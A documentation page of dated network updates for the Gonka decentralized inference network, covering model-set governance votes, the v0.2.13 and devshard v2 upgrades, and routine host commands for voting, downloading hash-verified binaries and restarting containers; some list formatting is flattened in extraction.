The expedited vote on proposal 78 has passed. The changes are live from epoch 308.
What is now in effect
initial_model_id is set to MiniMaxAI/MiniMax-M2.7 — MiniMax is the base model.MiniMaxAI/MiniMax-M2.7 is the only model in PoC params.Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 and moonshotai/Kimi-K2.6 are removed from PoC params.Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 and moonshotai/Kimi-K2.6 are deleted from governance models.As of epoch 308, MiniMaxAI/MiniMax-M2.7 is the only active PoC model. Qwen3-235B and Kimi K2.6 are no longer active.
Required actions for hosts
MiniMaxAI/MiniMax-M2.7. Any host still on Qwen or Kimi will not receive cPoC for this epoch until it switches.Coming next
A single expedited vote during epoch 308 will bundle two changes, both taking effect at epoch 309 (PoC start ~June 26, 15:25 UTC):
Expedited governance vote (proposal 78): MiniMax-M2.7 becomes the sole PoC model; Kimi K2.6 removed for a fast re-bootstrap; Qwen3-235B retired
moonshotai/Kimi-K2.6 currently does not have sufficient votes for PoC validation. As a result, the participants serving Kimi were knocked out of the group, and Kimi cannot enter the next epoch. Removing Kimi from the active set now and re-bootstrapping it is the fastest way to bring it back with minimal downtime.
An expedited proposal is now on-chain so these changes can take effect before the next epoch starts. On-chain, the proposal does the following in a single vote: 1. Sets the delegation initial_model_id to MiniMaxAI/MiniMax-M2.7, making MiniMax the base model. 2. Keeps only MiniMaxAI/MiniMax-M2.7 in PoC params. 3. Removes Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 and moonshotai/Kimi-K2.6 from PoC params. 4. Deletes Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 and moonshotai/Kimi-K2.6 from governance models.
What each change is for
The changes are bundled into one expedited vote because the reset must conclude before epoch 307 ends. At ~22.9h per epoch, the standard 48h voting period does not fit inside one epoch; the 12h expedited period does. Genesis guardians are expected to support the proposal.
Effect if approved
Starting at epoch 308 (~June 25, 17:25 UTC), MiniMaxAI/MiniMax-M2.7 is the only active PoC model. Qwen3-235B and Kimi K2.6 are no longer active. Restoring Kimi is handled in a follow-up vote in the next epoch.
Required actions for hosts
MiniMaxAI/MiniMax-M2.7 before PoC 308 starts. Every host — including hosts currently on Qwen or Kimi — must switch their MLNode to MiniMax. There is a ~500-block window before PoC starts in which it is safe to switch, as there is no cPoC. Pre-download the FP8 weights now if they are not already staged, to avoid Hugging Face rate limits at the epoch boundary.Coming next
How to vote
If you do not have direct access to the key that holds voting power, or want another key to vote on your behalf, refer to the guide on granting governance voting permission from a cold key to a warm key. Proposal details and voting are available via inferenced. Any active node can be used:
Cast a vote (yes, no, abstain, no_with_veto):
export NODE_URL=https://node3.gonka.ai/\n./inferenced tx gov vote 78 yes \\\n--from <cold_key_name> \\\n--keyring-backend file \\\n--unordered \\\n--timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 \\\n--node $NODE_URL/chain-rpc/ \\\n--chain-id gonka-mainnet \\\n--yes\nTo check voting status:
export NODE_URL=https://node3.gonka.ai/\n./inferenced query gov votes 78 -o json --node $NODE_URL/chain-rpc/\nDeadlines
The v0.2.13-devshard-v2 runtime upgrade proposal has passed governance
The devshard v2 runtime has been approved on-chain and added to DevshardEscrowParams.approved_versions.
This proposal covered the devshard v2 release: https://github.com/gonka-ai/gonka/releases/tag/release/devshard/v2.0.0
This was the first devshard-only runtime upgrade. It operates independently of full-chain software upgrades and does not require a chain binary upgrade.
With the proposal approved, v2 can now run in parallel with the existing v1 devshard runtime. The new process is served under the /devshard/v2 prefix, while existing v1 traffic continues on /devshard/v1 and /v1/devshard.
The release publishes the devshardd binary as a Gonka release artifact. versiond automatically downloads the binary, verifies the sha256 hash, and starts an additional devshardd process inside the existing versiond container.
No node container restart or manual host steps are expected for this type of devshard-only runtime upgrade.
Key Changes
1) Removed the seed reveal round, sealed completed inference stats, and pruned payloads so long-running sessions do not keep all served inferences in RAM or state. 2) Added internal devshard traces and metrics through OpenTelemetry and Prometheus. 3) Added join-stack observability with Grafana, Jaeger, Prometheus, Loki, Promtail, and cAdvisor. 4) Moved per-inference validation counters outside the state root into SQLite/Postgres and exposed per-slot totals through devshard stats endpoints after inference pruning. 5) Pruned old epoch storage on epoch changes, moved SQLite/Postgres schema setup out of hot paths, and enforced selection of exactly one storage backend per process.
"}, {"location": "gonka/docs/network-updates/#june-15-2026", "title": "June 15, 2026", "text": "The v0.2.13-devshard-v2 runtime upgrade proposal has entered governance.
This proposal covers the devshard v2 release: https://github.com/gonka-ai/gonka/releases/tag/release/devshard/v2.0.0 This is the first devshard-only upgrade. It operates independently of full-chain software upgrades. If approved, v2 will run in parallel with the existing v1 devshard runtime. See the upgrade design doc and the versioned package for details.
Key Changes
Remove the seed reveal round, seal completed inference stats, and prune payloads so long-running sessions do not keep all served inferences in RAM or state
Add internal devshard traces and metrics through OpenTelemetry and Prometheus
Add join-stack observability with Grafana, Jaeger, Prometheus, Loki, Promtail, and cAdvisor
Store per-inference validation counters outside the state root in SQLite/Postgres and expose per-slot totals through devshard stats endpoints after inference pruning
Prune old epoch storage on epoch changes, move SQLite/Postgres schema setup out of hot paths, and select exactly one storage backend per process
Upgrade Plan
The devshard runtime is upgraded through an on-chain params proposal, not a full chain software upgrade.
The proposal registers a new entry in DevshardEscrowParams.approved_versions.
The release publishes the devshardd binary as a Gonka release artifact. If the on-chain proposal is approved, versiond automatically downloads the binary, verifies the sha256 hash, and starts an additional devshardd process inside the existing versiond container.
The new process is served under the /devshard/v2 prefix. Existing v1 devshard traffic continues on /devshard/v1 and /v1/devshard. No node container restart or manual host steps are expected during this type of upgrade.
How to vote
If you do not have direct access to the key that holds voting power, or want another key to vote on your behalf, please refer to the guide on granting governance voting permission from a cold key to a warm key. Proposal details and voting are available via inferenced. Any active node can be used. Available nodes include:
Cast your vote (yes, no, abstain, no_with_veto): The --unordered and --timeout-duration flags require inferenced from v0.2.13 or later.
export NODE_URL=https://node3.gonka.ai/\n./inferenced tx gov vote 76 yes \\\n--from <cold_key_name> \\\n--keyring-backend file \\\n--unordered \\\n--timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 \\\n--node $NODE_URL/chain-rpc/ \\\n--chain-id gonka-mainnet \\\n--yes\nexport NODE_URL=https://node3.gonka.ai/\n./inferenced query gov votes 76 -o json --node $NODE_URL/chain-rpc/\nVoting ends: June 17th, 2026, at 23:39:02 UTC
"}, {"location": "gonka/docs/network-updates/#june-6-2026", "title": "June 6, 2026", "text": "The PR for the devshard-only upgrade is now open for review.
This is the first devshard-only upgrade, so the process is different from a standard chain upgrade. Devshard upgrades update the devshard runtime independently from the main blockchain. They do not require a coordinated full-node upgrade through Cosmovisor, do not affect mainnet behavior, and are not expected to cause downtime for inference serving.
If approved through the governance process, the new devshard version will run in parallel with the existing v1 runtime.
Please review the PR directly and leave comments on any findings, questions, suggested improvements, edge cases, or potential vulnerabilities.
Meaningful review contributions, including important comments, bug findings, and security issues, may be eligible for community bounties in the next upgrade cycle.
This is a call for PR review only. It does not start formal voting. The governance voting process will begin after the review period concludes.
"}, {"location": "gonka/docs/network-updates/#may-28-2026", "title": "May 28, 2026", "text": "MiniMax-M2.7 is now active on Gonka network
The bootstrap stage announced in v0.2.13 is complete. As of chain epoch 278, MiniMaxAI/MiniMax-M2.7 joins Qwen3-235B and Kimi K2.6 as an active model group, and PoC weight earned in the MiniMax group is now being converted into consensus weight at the calibrated coefficient 0.3024.
Per-model participation enforcement for MiniMax is now in effect. Hosts that have already chosen DIRECT, DELEGATE or REFUSE for MiniMax do not need to do anything else — the same setup keeps working. Hosts that have not yet made a choice are encouraged to do so now to avoid the per-epoch penalty (https://gonka.ai/docs/host/quickstart/#optional-poc-delegation-and-refusal).
"}, {"location": "gonka/docs/network-updates/#may-26-2026", "title": "May 26, 2026", "text": "UPGRADE EXECUTED: v0.2.13 is now live on mainnet
The on-chain governance vote for Upgrade Proposal v0.2.13 (proposal id 54) has concluded. The proposal was APPROVED, and the upgrade was successfully executed on the mainnet at block 4267300.
Upgrade v0.2.13: pre-download binaries and MiniMax-M2.7 weights
The v0.2.13 upgrade proposal (proposal id 54) has passed on-chain governance and the upgrade is now scheduled.
Pre-downloading binaries and weights in advance helps avoid relying on GitHub / Hugging Face availability during the upgrade window.
# 1. Create Directories\nsudo mkdir -p .dapi/cosmovisor/upgrades/v0.2.13/bin \\\n .inference/cosmovisor/upgrades/v0.2.13/bin && \\\n# 2. DAPI: Download -> Verify -> Unzip directly to bin -> Make Executable\nwget -q -O decentralized-api.zip \"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.13/decentralized-api-amd64.zip\" && \\\necho \"cf31fa4d715e721d1e17b7e2b46d628a0b66b6ef603d352d587abe1d57c40925 decentralized-api.zip\" | sha256sum --check && \\\nsudo unzip -o -j decentralized-api.zip -d .dapi/cosmovisor/upgrades/v0.2.13/bin/ && \\\nsudo chmod +x .dapi/cosmovisor/upgrades/v0.2.13/bin/decentralized-api && \\\necho \"DAPI Installed and Verified\" && \\\n# 3. Inference: Download -> Verify -> Unzip directly to bin -> Make Executable\nsudo rm -rf inferenced.zip .inference/cosmovisor/upgrades/v0.2.13/bin/ && \\\nwget -q -O inferenced.zip \"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.13/inferenced-amd64.zip\" && \\\necho \"ea7dea6c4e8d96ed61005bed196768cc9f44e5fb17f0714cb64d1d00a485be0c inferenced.zip\" | sha256sum --check && \\\nsudo unzip -o -j inferenced.zip -d .inference/cosmovisor/upgrades/v0.2.13/bin/ && \\\nsudo chmod +x .inference/cosmovisor/upgrades/v0.2.13/bin/inferenced && \\\necho \"Inference Installed and Verified\" && \\\n# 4. Cleanup and Final Check\nrm decentralized-api.zip inferenced.zip && \\\necho \"--- Final Verification ---\" && \\\nsudo ls -l .dapi/cosmovisor/upgrades/v0.2.13/bin/decentralized-api && \\\nsudo ls -l .inference/cosmovisor/upgrades/v0.2.13/bin/inferenced && \\\necho \"f93d579ef9c46ade9f28c73c339df2f7ae73607115b7efeb849316984924f68d .dapi/cosmovisor/upgrades/v0.2.13/bin/decentralized-api\" | sudo sha256sum --check && \\\necho \"e52b86c4f64a47f0ea9bdb3327feb321b8a4208a76b35d52a7e9ddd1b9d6eed5 .inference/cosmovisor/upgrades/v0.2.13/bin/inferenced\" | sudo sha256sum --check\nv0.2.13 voting concluded — preparing for upgrade at height 4267300
The on-chain governance vote for Upgrade Proposal v0.2.13 (proposal id 54) has concluded. The proposal has been APPROVED.
The upgrade will execute automatically on mainnet at block height 4267300 (≈ Tue May 26, 14:42 UTC / 07:42 PDT).
Reminders
0x972a7a92d92796a98801a8818bcf91f1648f2f68), USDC/USDT token metadata, and CW20 wrapped_token code id 105 are registered through the upgrade handler itself, so the bridge becomes active on mainnet at the upgrade height. Verification instructions: https://gonka.ai/docs/network-updates/#may-7-2026.MiniMaxAI/MiniMax-M2.7, pre-download the ~230 GB of FP8 weights now. Hugging Face rate limits and bandwidth saturation during the bootstrap window might lead to missing the first eligibility check.Qwen/Qwen3-235B-A22B-Instruct-2507-FP8, moonshotai/Kimi-K2.6, and MiniMaxAI/MiniMax-M2.7. Hosts who only run one or two of those models still need DELEGATE or REFUSE for the others. The MiniMax deadline is chain epoch 278. Hosts who do nothing take a 15% per-epoch penalty against their full weight from epoch 278 onward..inference/data has sufficient free space for the cosmovisor state backup; if application.db is large, consider applying the cleanup techniques from the cosmovisor backup guide before the upgrade.The v0.2.13 calibration adjusts the Kimi K2.6 WeightScaleFactor from 1.26 to 0.78 to reflect the post-vLLM-0.20.1 throughput baseline of the Qwen-on-B200 reference. The adjustment applies only to the Kimi-derived part of your consensus weight; your Qwen-derived weight and Kimi internal PoC distribution are unchanged. On B200/B300 Kimi remains the highest-paying option; on H100/H200, MiniMax-M2.7 becomes a comparable-to-Qwen, higher-than-Kimi option.
Proposal: https://github.com/gonka-ai/gonka/pull/1143
upgrades.gov0.2.13 Upgrade Proposal Enters Governance
The v0.2.13 proposal is back on-chain and open for voting. This is a renewed vote on the proposal that was published earlier but did not pass, now resubmitted with several updates.
0.78), new model MiniMaxAI/MiniMax-M2.7, validation thresholds update, devshard storage rework, plus several PoC/reward fixes.The PR: https://github.com/gonka-ai/gonka/pull/1143
Key changes
Models
MiniMaxAI/MiniMax-M2.7 as a governance-approved model and PoC model.0.9400.9000.922WeightScaleFactor values against the Qwen-on-B200 reference after the vLLM 0.20.1 release:0.359 (unchanged)0.78 (down from 1.26, roughly a 38% reduction in per-epoch consensus weight from Kimi at the same PoC weight)0.3024Reference data: https://docs.google.com/spreadsheets/d/1dHHlbhW1_hVgd7Q6MtmcVSOpmnl7NnynoTzPHJ1oU-g/edit?gid=0#gid=0
inference-chain
20_000 to 1_000_000.100 to 500_000.ConsecutiveInvalidInferences when a participant becomes active again.MsgRespondDealerComplaints authz grants for DAPIs that joined before v0.2.12.0.25. With guardians not voting, this gives an effective 1/3 quorum among the remaining 75% of voting power (0.25 / 0.75 = 0.334).allowed_creator_addresses.Ethereum bridge mainnet activation
0x972a7a92d92796a98801a8818bcf91f1648f2f68, USDC and USDT token metadata, bridge trading approvals, and CW20 wrapped_token code ID 105.decentralized-api & devshard
NodeManagerGrpcPort by default on port 9400.Upgrade plan
If approved, the binary versions would be updated via the on-chain upgrade proposal. For more information on the upgrade process, refer to /docs/upgrades.md.
Required actions in preparation for the upgrade
In case the proposal is approved, the following preparation is recommended.
MiniMaxAI/MiniMax-M2.7 participation choice by epoch 278 (penalty starts then)
For each governance-approved model, multi-model PoC requires every host to explicitly choose participation (DIRECT / DELEGATE / REFUSE). Doing nothing after the model's PenaltyStartEpoch would result in a penalty. At this stage, you should decide your preferred option in advance so you are ready to act quickly if the proposal passes and the upgrade is successfully applied on mainnet.
Bridge container update / verification
All hosts are asked to verify that their bridge container is deployed, running the latest version, and synced correctly. Some hosts may already have the bridge container deployed. In that case, please first check that you are running the current version before taking any further action. Please follow the instructions: https://gonka.ai/docs/network-updates/#may-7-2026
Dashboard / explorer update (before or after upgrade)
Hosts are asked to update the dashboard/explorer. Please run the following commands from the gonka/deploy/join directory. If you do not have the gonka repository cloned locally, follow the join-network guide first. This dashboard update is just a container pull and is safe to run before or after the vote concludes, regardless of the outcome.
docker compose -f docker-compose.mlnode.yml -f docker-compose.yml pull explorer\ndocker compose -f docker-compose.mlnode.yml -f docker-compose.yml up -d explorer\nHow to vote
If you do not have direct access to the key that holds voting power, or want another key to vote on your behalf, please refer to the guide on granting governance voting permission from a cold key to a warm key. Proposal details and voting are available via inferenced. Any active node can be used. Available nodes include:
Cast your vote (yes, no, abstain, no_with_veto): The --unordered and --timeout-duration flags require inferenced from v0.2.12 or later.
export NODE_URL=https://node3.gonka.ai/\n./inferenced tx gov vote 54 yes \\\n--from <cold_key_name> \\\n--keyring-backend file \\\n--unordered \\\n--timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 \\\n--node $NODE_URL/chain-rpc/ \\\n--chain-id gonka-mainnet \\\n--yes\nexport NODE_URL=https://node3.gonka.ai/\n./inferenced query gov votes 54 -o json --node $NODE_URL/chain-rpc/\nDeadlines
Attention
.inference/data directory; ensure sufficient disk space is available (the Cosmovisor backup of application.db on mainnet is typically tens of GB, so verify in advance). Guidance on safely removing old backups from the .inference directory is available in the documentation.application.db occupies a significant amount of disk space, the cleanup techniques described in the cosmovisor backup guide may be applied.no_with_veto exceeds ⅓), nothing on chain changes and the upgrade simply does not occur. Operators may see a PROPOSAL_FAILED status; this is expected and does not require action.The proxy container might limit the amount of parallel connections to devshards globally instead of per client
The PR with fix: https://github.com/gonka-ai/gonka/pull/1183
To apply the fix, please:
Set container version in docker-compose.yml
...\n proxy:\n container_name: proxy\n image: ghcr.io/product-science/proxy:0.2.12-post5\n...\nRestart container:
source config.env && docker compose up -d proxy --force-recreate --no-deps\nIt's safer to update the container outside the PoC/Confirmation PoC phase. To check if there is a Confirmation PoC:
curl \"https://node3.gonka.ai/v1/epochs/latest\" | jq '.is_confirmation_poc_active'\nEpoch #267: PoC Validation Recovered
PoC validation completed successfully in epoch #267, and affected hosts were able to return to the active set.
The issue in epoch #266 was caused by an attack that affected hosts running the Kimi model. The network continued operating, but the attack, combined with several related conditions, prevented many participants from entering epoch #266.
Inference may be temporarily unavailable while additional protections are applied. Access is expected to return gradually, starting through several community proxy and broker endpoints.
What happened
In epoch #266, the network experienced a significant drop in active weight.
The issue has been traced to inference requests with non-standard semantics. This attack vector affected hosts running the Kimi model and disrupted PoC participation for many of them.
In epoch #267, hosts were able to return, and PoC validation completed successfully.
Inference availability
Requests using the affected non-standard semantics should no longer be accepted by the network.
While the relevant protections are being applied, inference may be temporarily unavailable. Access is expected to resume gradually, first through several community proxy and broker endpoints.
Kimi weight in epoch #267
Kimi’s active weight is lower in epoch #267 because of an existing protocol rule: the total weight of one model cannot exceed 75% of the total weight of all models in the previous epoch.
Since total active weight was significantly lower in epoch #266, this rule also limits Kimi’s weight in epoch #267.
It may take several days for the weight to stabilize as normal PoC participation continues across future epochs.
Required actions for hosts
Epoch #266: PoC weight drop investigation
During the current epoch (#266), the network saw a significant drop in active weight. It appears that PoC voting did not collect the required votes for this epoch. The exact cause has not yet been confirmed, and the community is actively investigating the situation.
For affected participants
If your node did not make it into this epoch, please keep your API nodes online and accessible where possible. This may help the Restitution Committee collect evidence of PoC participation and account for affected contributions more accurately.
Investigation in progress
Community members are currently reviewing what happened during epoch #266. Updates will be shared once there is more clarity on the root cause. If you have relevant observations, logs, hypotheses, or other technical context that could help the investigation, please share them here.
"}, {"location": "gonka/docs/network-updates/#may-15-2026", "title": "May 15, 2026", "text": "v0.2.13 Upgrade Proposal Enters Governance
v0.2.13 proposal is now on chain and open for voting.
0.78), new model MiniMaxAI/MiniMax-M2.7, validation thresholds update, devshard storage rework, plus several PoC/reward fixes, Ethereum bridge mainnet activation.The PR: https://github.com/gonka-ai/gonka/pull/1143
Key changes
Models
MiniMaxAI/MiniMax-M2.7 as a governance-approved model and PoC model.WeightScaleFactor values against the Qwen-on-B200 reference after the vLLM 0.20.1 release:0.3590.780.3024inference-chain
20_000 to 1_000_000.100 to 500_000.ConsecutiveInvalidInferences when a participant becomes active again.MsgRespondDealerComplaints authz grants for DAPIs that joined before v0.2.12.0.25. With guardians not voting, this gives an effective 1/3 quorum among the remaining 75% of voting power (0.25 / 0.75 = 0.334).Ethereum bridge mainnet activation
0x972a7a92d92796a98801a8818bcf91f1648f2f68, USDC and USDT token metadata, bridge trading approvals, and CW20 wrapped_token code ID 105.decentralized-api & devshard
NodeManagerGrpcPort by default on port 9400.Upgrade plan
If approved, the binary versions would be updated via the on-chain upgrade proposal. For more information on the upgrade process, refer to /docs/upgrades.md.
Required actions in preparation for the upgrade
In case the proposal is approved, the following preparation is recommended.
MiniMaxAI/MiniMax-M2.7 participation choice by epoch 278
For each governance-approved model, multi-model PoC requires every host to explicitly choose participation (DIRECT / DELEGATE / REFUSE). Doing nothing after the model's PenaltyStartEpoch would result in a penalty. At this stage, you should decide your preferred option in advance so you are ready to act quickly if the proposal passes and the upgrade is successfully applied on mainnet.
Bridge container update / verification
All hosts are asked to verify that their bridge container is deployed, running the latest version, and synced correctly. Some hosts may already have the bridge container deployed. In that case, please first check that you are running the current version before taking any further action. Please follow the instructions: https://gonka.ai/docs/network-updates/#may-7-2026
Dashboard / explorer update (before or after upgrade)
Hosts are asked to update the dashboard/explorer. Please run the following commands from the gonka/deploy/join directory:
docker compose -f docker-compose.mlnode.yml -f docker-compose.yml pull explorer\ndocker compose -f docker-compose.mlnode.yml -f docker-compose.yml up -d explorer\nHow to vote
If you do not have direct access to the key that holds voting power, or want another key to vote on your behalf, please refer to the guide on granting governance voting permission from a cold key to a warm key.
Proposal details and voting are available via inferenced. Any active node can be used. Available nodes include:
Cast your vote (yes, no, abstain, no_with_veto):
export NODE_URL=https://node3.gonka.ai/\n./inferenced tx gov vote 52 yes \\\n--from <cold_key_name> \\\n--keyring-backend file \\\n--unordered \\\n--timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 \\\n--node $NODE_URL/chain-rpc/ \\\n--chain-id gonka-mainnet \\\n--yes\nexport NODE_URL=https://node3.gonka.ai/\n./inferenced query gov votes 52 -o json --node $NODE_URL/chain-rpc/\nDeadlines
Attention
.inference/data directory; ensure sufficient disk space is available. Guidance on safely removing old backups from the .inference directory is available in the documentation.application.db occupies a significant amount of disk space, the cleanup techniques described in the cosmovisor backup guide may be applied.Bridge container update/verification required
As part of preparations for the upcoming v0.2.13 upgrade, which may include Ethereum-side contract activation, all hosts are asked to verify that their bridge container is deployed, running the latest version, and synced correctly.
Some hosts may already have the bridge container deployed. In that case, please first check that you are running the current version before taking any further action.
Latest bridge image:
ghcr.io/product-science/bridge:0.2.5-post5@sha256:8d2f217115c65b27fcb6fe1497471c30891534f18685bd3007d168aa7f1a9371\ndocker inspect --format='{{.Image}}' bridge \\\n | xargs docker inspect --format='{{range .RepoDigests}}{{.}}{{end}}' \\\n | grep -q 'sha256:8d2f217115c65b27fcb6fe1497471c30891534f18685bd3007d168aa7f1a9371' \\\n && echo \"BRIDGE v0.2.5-post5 is running\" || echo \"WARNING: OLD BRIDGE\"\nBRIDGE v0.2.5-post5 is running\nPlease also verify that the bridge is synced:
docker logs bridge --tail 10000 | grep \"Skeleton sync bounds\" | tail -1\nIf the command returns a warning, please deploy or update the bridge container from the gonka/deploy/join directory:
git checkout release/v0.2.5-post5\ndocker compose down bridge && sudo rm -rf .inference-eth\nsource config.env && docker compose pull bridge\nsource config.env && docker compose up bridge -d --force-recreate --no-deps\ndocker inspect --format='{{.Image}}' bridge \\\n | xargs docker inspect --format='{{range .RepoDigests}}{{.}}{{end}}' \\\n | grep -q 'sha256:8d2f217115c65b27fcb6fe1497471c30891534f18685bd3007d168aa7f1a9371' \\\n && echo \"BRIDGE v0.2.5-post5 is running\" || echo \"WARNING: OLD BRIDGE\"\nBEACON_STATE_URL and restart the bridge: sudo sed -i 's|- BEACON_STATE_URL=.*|- BEACON_STATE_URL=https://beaconstate.info/|' docker-compose.yml\n\nsource config.env && docker compose up bridge -d --force-recreate --no-deps\nPR Review for Upgrade v0.2.13
The pull request for the next on-chain software upgrade, v0.2.13, is open for review.
Please review the PR code directly and leave comments regarding any findings, questions, suggested improvements, edge cases, or vulnerabilities you identify.
Meaningful review contributions, including important comments, bug findings, and security issues, may be eligible for community bounties during the next upgrade cycle.
This is a call for review of the Pull Request only, and it does not initiate formal voting. The governance voting process will begin after the review period concludes, most likely tomorrow.
Key changes
inference-chain
ConsecutiveInvalidInferences was not reset when a participant became ACTIVE again. One new bad inference could immediately invalidate them again. The counter is now reset on reactivation and upcoming promotion.MsgRespondDealerComplaints in their cold-to-warm authz grants. The upgrade backfills that permission so they can respond to dealer complaints.20_000 nonce limit. The limit is now DevshardEscrowParams.MaxNonce, and the v0.2.13 upgrade sets it to 1_000_000. The upgrade also raises MaxEscrowsPerEpoch to 500_000.UpgradeProtectionWindow (3000 blocks). Confirmation PoC triggers are skipped from the upgrade height through the end of the upgrade epoch, so the new snapshot logic only starts running from the next epoch. Reuses the v0.2.10 grace-epoch primitive.decentralized-api
stop_reason values. Choice.StopReason now accepts any JSON type, so those responses no longer fail unmarshalling.devshard
epoch_id for sessions, diffs, and signatures, so pruning can drop old epoch data cleanly.bridge
Reviewers can find the full upgrade proposal, migration details, testing summary, and proposed process here:
https://github.com/gonka-ai/gonka/blob/347d947596aba754e453e58d5f82ae6054233a9a/proposals/governance-artifacts/update-v0.2.13/README.md
https://github.com/gonka-ai/gonka/pull/1143
There was a potential issue in api container versions v0.2.11, v0.2.12, and v0.2.12-api-post2. After a container restart, servers on ports 9100, 9200, and 9400 could start with a long delay. This delayed api activation, and some miners skipped Confirmation PoC because of it
The fix removes that blocker by loading devshards in parallel and restoring existing devshard sessions from snapshots.
https://github.com/gonka-ai/gonka/pull/1143
Please update the binary for the api container. There is a 500 block window without CPoC (confirmation_poc_safety_window) before each PoC starts, so this might be the safest version to deploy.
Before updating, make sure no CPoC or PoC is running.
To deploy (one machine at a time to reduce risk):
sudo rm -rf decentralized-api.zip .dapi/cosmovisor/upgrades/v0.2.12-api-post3/ .dapi/data/upgrade-info.json\nsudo mkdir -p .dapi/cosmovisor/upgrades/v0.2.12-api-post3/bin/\nwget -q -O decentralized-api.zip 'https://github.com/product-science/race-releases/releases/download/release%2Fv0.2.12-api-post3/decentralized-api-amd64.zip' && \\\necho \"3f2bc481b8320c53f0abe428dc262eaac5a86e8f38b8d796c409bd7116ba5017 decentralized-api.zip\" | sha256sum --check && \\\nsudo unzip -o -j decentralized-api.zip -d .dapi/cosmovisor/upgrades/v0.2.12-api-post3/bin/ && \\\nsudo chmod +x .dapi/cosmovisor/upgrades/v0.2.12-api-post3/bin/decentralized-api && \\\necho \"API Installed and Verified\"\n\ndocker stop api && \\\nsudo rm -rf .dapi/cosmovisor/current && \\\nsudo ln -sf upgrades/v0.2.12-api-post3 .dapi/cosmovisor/current && \\\necho \"da495bc4c414ac9a0d416f85c30dd8dfbbcc76883fd71f6c1e969d37fa184b20 .dapi/cosmovisor/current/bin/decentralized-api\" && \\\ndocker start api\ncurl http://localhost:9200/admin/v1/nodes # may not be bound to localhost\ncurl http://localhost:9100/versions # may not be bound to localhost\nA minor bug was found in parsing certain responses of Kimi-K2.6 during the last epoch.
Fix: https://github.com/gonka-ai/gonka/pull/1143/changes#diff-4c44fd18f746bca1c63d9bcbb9a73f06bc0172bfb8a33152854920d4dffff0e8
We recommend replacing the binary for the api container. Besides the fix, the new version also enables pruning for devshard DBs and adds Postgres support for devshard state.
To deploy:
sudo rm -rf decentralized-api.zip .dapi/cosmovisor/upgrades/v0.2.12-api-post2/ .dapi/data/upgrade-info.json\nsudo mkdir -p .dapi/cosmovisor/upgrades/v0.2.12-api-post2/bin/\nwget -q -O decentralized-api.zip 'https://github.com/product-science/race-releases/releases/download/release%2Fv0.2.12-api-post2/decentralized-api-amd64.zip' && \\\necho \"7bef88106fc3464d0141a2d14245cc06c341be186250f5d096e27e901deb185e decentralized-api.zip\" | sha256sum --check && \\\nsudo unzip -o -j decentralized-api.zip -d .dapi/cosmovisor/upgrades/v0.2.12-api-post2/bin/ && \\\nsudo chmod +x .dapi/cosmovisor/upgrades/v0.2.12-api-post2/bin/decentralized-api && \\\necho \"API Installed and Verified\"\n\ndocker stop api && \\\nsudo rm -rf .dapi/cosmovisor/current && \\\nsudo ln -sf upgrades/v0.2.12-api-post2 .dapi/cosmovisor/current && \\\necho \"9882b36ac6e5546fc18e3dd34da293cd5255f311f19e14ace74d3b9190c8ca1d .dapi/cosmovisor/current/bin/decentralized-api\" && \\\ndocker start api\ncurl -X POST http://localhost:9200/admin/v1/nodes \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"id\": \"<NODE_ID>\",\n \"host\": \"<NODE_IP>\",\n \"inference_port\": 5050,\n \"poc_port\": 8080,\n \"max_concurrent\": 500,\n \"models\": {\n \"moonshotai/Kimi-K2.6\": {\n \"args\": [\n \"--enable-auto-tool-choice\", # new parameter\n \"--tensor-parallel-size\", \"4\",\n \"--enable-expert-parallel\",\n \"--trust-remote-code\",\n \"--mm-encoder-tp-mode\", \"data\",\n \"--tool-call-parser\", \"kimi_k2\",\n \"--reasoning-parser\", \"kimi_k2\",\n \"--attention-backend\", \"FLASHINFER_MLA\",\n \"--disable-custom-all-reduce\",\n \"--gpu-memory-utilization\", \"0.95\",\n \"--max-num-seqs\", \"128\",\n \"--max-model-len\", \"240000\"\n ]\n }\n }\n }'\nAnd then restart the MLNode container with docker restart join-mlnode-308-1.
These actions should be applied when PoC / Confirmation PoC is not going through.
"}, {"location": "gonka/docs/network-updates/#may-5-2026", "title": "May 5, 2026", "text": "Hosts observed during the Kimi-K2.6 bootstrap that the 30% minimum direct participation threshold is hard to meet in practice. To avoid the risk that Kimi-K2.6 becomes ineligible in a future epoch, and to simplify onboarding further models, the proposal is to lower the threshold to 10%.
The security model is preserved: PoC validation itself is unchanged and still requires a supermajority of validation power to accept results.
The proposal is expedited so the change can take effect before the next PoC. The voting will be active for 12 hours.
To vote (yes, no, abstain, no_with_veto):
export NODE_URL=https://node3.gonka.ai/\n./inferenced tx gov vote 48 yes \\\n --from <cold_key_name> \\\n --keyring-backend file \\\n --unordered \\\n --timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 \\\n --node $NODE_URL/chain-rpc/ \\\n --chain-id gonka-mainnet \\\n --yes\nTo check the voting status:
export NODE_URL=https://node3.gonka.ai/\n./inferenced query gov votes 48 -o json --node $NODE_URL/chain-rpc/\nVoting ends: 2026-05-05 19:00:54 UTC
"}, {"location": "gonka/docs/network-updates/#may-4-2026", "title": "May 4, 2026", "text": "Kimi K2.6 is now active on Gonka network
moonshotai/Kimi-K2.6 has passed bootstrap and joined PoC participation on Gonka network.
The process was coordinated by hosts across the network: infrastructure was prepared, intents were submitted, delegations and refusals were set, and deployments were tested.
For multi-model PoC, this means Kimi now has its own participation and reward tracking as an active model group.
Hosts running Kimi should continue monitoring their MLNodes and PoC participation as usual.
"}, {"location": "gonka/docs/network-updates/#may-4-2026_1", "title": "May 4, 2026", "text": "Action required for hosts who submitted PoCIntent: deploy Kimi K2.6
Today’s pre-evaluation check passed for moonshotai/Kimi-K2.6.
Hosts who submitted PoCIntent should now switch at least one MLNode from Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 to moonshotai/Kimi-K2.6 before PoC starts at block 3874496.
There is a 500-block window between pre-evaluation and PoC start. During this window, there are no CPoC tasks, so hosts who declared intent can safely switch their model node to Kimi K2.6.
Please follow the guide and complete the required deployment steps: https://gonka.ai/docs/host/kimi-bootstrap/
